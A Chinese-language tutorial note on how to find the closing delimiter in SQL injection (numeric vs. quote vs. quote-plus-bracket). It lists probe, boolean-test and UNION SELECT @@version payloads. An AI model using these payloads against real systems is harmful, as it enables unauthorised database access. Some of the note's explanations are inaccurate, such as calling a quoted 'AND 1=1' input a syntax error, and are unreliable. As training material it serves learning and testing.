如何判断SQL注入闭合方式

许久没有看sql又忘记怎么判断数字型注入和字符型注入 了

直接使用?id=2-1如果正确显示说明是数字型若不正确则可能是字符型

首先,要区分不同类型注入数据库中语句的不同

1
2
3
4
5
6
7
数字型注入
select * from xxx where id= ID ; // ID是输入的内容,可以注意到ID前后没有 ''和""这种类型的符号,因此可以直接注入
字符型注入
select * from xxx where id= 'ID' ;
//可以注意到ID前后有',因此在输入时如果用-- +屏蔽了后面的'必须要在语句中加入',才可以与前面的'闭合
select * from xxx where id= "ID";
//与上面情况相同,ID前后有"",所以如果屏蔽了后放的",必须要在语句中加入",与前面的"闭合

以下是突然想起来的一个问题

注入方式 正确性 原理
1' ORDER BY 3 -- 闭合原引号,注释后续字符,语法完整。
1 ORDER BY 3' -- + 未闭合原引号,ORDER BY 被包裹在字符串中,无法执行。
1' UNION SELECT 1,2,3 -- 闭合原引号,联合查询独立于原语句,语法合法。
1 UNION SELECT 1,2,3' -- + 未闭合原引号,UNION 被包裹在字符串中,无法生效。

如何判断数字型注入和字符型注入

了解完注入前的语句可以发现,无论是数字型注入还是字符型注入,如果输入ID=x(数字),都能得到执行,因此不能直接通过输入数字来确定是数字型注入。

应该通过排除常规字符型注入再来判断是否为数字型注入

注入流程详解

1. 输入 ?id=1 页面正常

  • 可能情况
    • 数字型(WHERE id=1
    • 字符型(WHERE id='1',但未破坏语法)
    • 其他闭合方式(如 WHERE id=("1"),但输入未触发错误)

结论:仅凭 ?id=1 页面正常无法直接确定类型,需进一步测试。

2. 排除字符型闭合(测试单引号 ' 和双引号 "

  • 测试单引号

    1
    ?id=1'   // 尝试闭合单引号
    • 预期结果
      • 报错 → 字符型(单引号闭合)。
      • 正常 → 可能是数字型,或存在转义(如 \' 被过滤)。
  • 测试双引号

    1
    ?id=1"   // 尝试闭合双引号
    • 预期结果
      • 报错 → 字符型(双引号闭合)。
      • 正常 → 可能是数字型,或存在转义。

3. 若单/双引号均未报错,测试布尔逻辑

  • 测试数字型逻辑

    1
    2
    ?id=1 AND 1=1    // 预期页面正常
    ?id=1 AND 1=2 // 预期页面异常(无数据)
    • 结果分析
      • 正常 → 异常:说明是数字型(无需闭合符号)。
      • 均正常/均异常:可能是字符型或其他闭合方式。
  • 测试字符型逻辑(假设单引号未报错):

    1
    2
    ?id=1' AND '1'='1    // 预期闭合:WHERE id='1' AND '1'='1'
    ?id=1' AND '1'='2 // 预期闭合:WHERE id='1' AND '1'='2'
    • 结果分析
      • 正常 → 异常:说明是字符型(单引号闭合)。
      • 均正常/均异常:可能是数字型或存在其他闭合逻辑(如转义)。

4. 最终确认

  • 若布尔逻辑符合数字型特征AND 1=1 正常,AND 1=2 异常):
    • 结论:数字型注入(无需闭合符号)。
  • 若布尔逻辑符合字符型特征AND '1'='1 正常,AND '1'='2 异常):
    • 结论:字符型注入(需闭合符号 '")。
  • 若仍无法区分
    • 进一步测试混合闭合(如括号 )')) 等)或使用时间盲注。

“)和’)闭合方式判断

当出现id=1' 异常 id=1' and '1'='1正常 id=1' and '1'='2异常

但是id=1' -- + 异常则说明不是'闭合而存在')闭合方案

测试步骤:

  • 尝试闭合括号:输入id=1') -- +,观察是否仍然报错。如果页面正常,则说明需要闭合')
  • 测试布尔逻辑:输入id=1') and 1=1 -- +id=1') and 1=2 -- +,观察页面是否分别正常和异常,以确认闭合符号是否有效。
  • 联合查询测试:使用id=1') union select 1,2,3 -- +,查看是否有回显,进一步确认闭合方式。

1. 测试现象解析

输入 结果 说明
id=1' 报错 单引号未闭合,导致语法错误(如 WHERE id=('1''))。
id=1' AND '1'='1 正常 手动闭合单引号,添加恒真条件(WHERE id=('1' AND '1'='1'))。
id=1' AND '1'='2 报错 手动闭合单引号,添加恒假条件(WHERE id=('1' AND '1'='2'))。
id=1' -- + 报错 注释符未生效,原因为括号未闭合(如 WHERE id=('1' -- ') 语法错误)。

2. 核心矛盾点

  • 为什么 id=1' -- + 仍然报错?

    如果原始 SQL 是where id=('$id'),输入1' -- +后,语句变为:

    1
    where id=(1' -- ')
    • -- + 注释了后续的 ',但未闭合前面的括号 (,导致语法错误。

3. 验证步骤

(1) 测试 ') 闭合

输入:

1
id=1') --%20
  • 预期 SQL

    1
    WHERE id=('1') -- ')
    • 闭合括号 ') 并注释后续字符,语法正确。
  • 结果

    • 若页面正常 → 确认闭合符号为 ')

(2) 布尔逻辑验证

输入:

1
2
id=1') AND 1=1 --%20   // 预期正常
id=1') AND 1=2 --%20 // 预期异常
  • 预期 SQL

    1
    2
    WHERE id=('1') AND 1=1 -- ')   // 条件恒真 → 正常
    WHERE id=('1') AND 1=2 -- ') // 条件恒假 → 异常

(3) 联合查询验证

输入:

1
id=1') UNION SELECT 1,2,3 --%20
  • 预期 SQL

    1
    WHERE id=('1') UNION SELECT 1,2,3 -- ')
    • 若页面显示 23 → 确认闭合符号为 '),且回显位置可被利用。
1
2
3
4
优先使用 ') 闭合进行后续注入:
?id=2') UNION SELECT 1,@@version,3 --%20
若失败,再尝试 ") 闭合:
?id=2") UNION SELECT 1,@@version,3 --%20

为什么正常->异常可以判断类型

1. 数字型注入的布尔逻辑原理

假设原始 SQL 语句为:

1
SELECT * FROM users WHERE id=1   -- 数字型(无引号)
  • 输入 ?id=1 AND 1=1

    语句变为:

    1
    SELECT * FROM users WHERE id=1 AND 1=1   -- 条件恒真 → 页面正常
  • 输入 ?id=1 AND 1=2

    语句变为:

    1
    SELECT * FROM users WHERE id=1 AND 1=2   -- 条件恒假 → 页面异常(无数据)

结论
若布尔逻辑测试(AND 1=1正常,AND 1=2异常)生效,说明是数字型注入(无需闭合符号)。

2. 字符型注入的布尔逻辑原理

假设原始 SQL 语句为:

1
SELECT * FROM users WHERE id='1'   -- 字符型(单引号闭合)
  • 直接输入 ?id=1 AND 1=1
    语句变为:

    1
    SELECT * FROM users WHERE id='1 AND 1=1'   -- 语法错误(引号未闭合)
    • 页面会报错,因为 1 AND 1=1 被包裹在引号内,成为字符串的一部分。
  • 正确注入字符型需闭合引号:

    1
    2
    ?id=1' AND '1'='1    // 闭合后:WHERE id='1' AND '1'='1'
    ?id=1' AND '1'='2 // 闭合后:WHERE id='1' AND '1'='2'
    • 此时布尔逻辑生效(正常 → 异常),才能判断为字符型。

3. 关键区分点

测试条件 数字型注入 字符型注入(未闭合引号) 字符型注入(已闭合引号)
?id=1 AND 1=1 ✅ 正常 ❌ 语法错误(引号未闭合) ✅ 正常(需闭合引号后测试)
?id=1 AND 1=2 ❌ 异常 ❌ 语法错误(引号未闭合) ❌ 异常(需闭合引号后测试)
是否需要闭合符号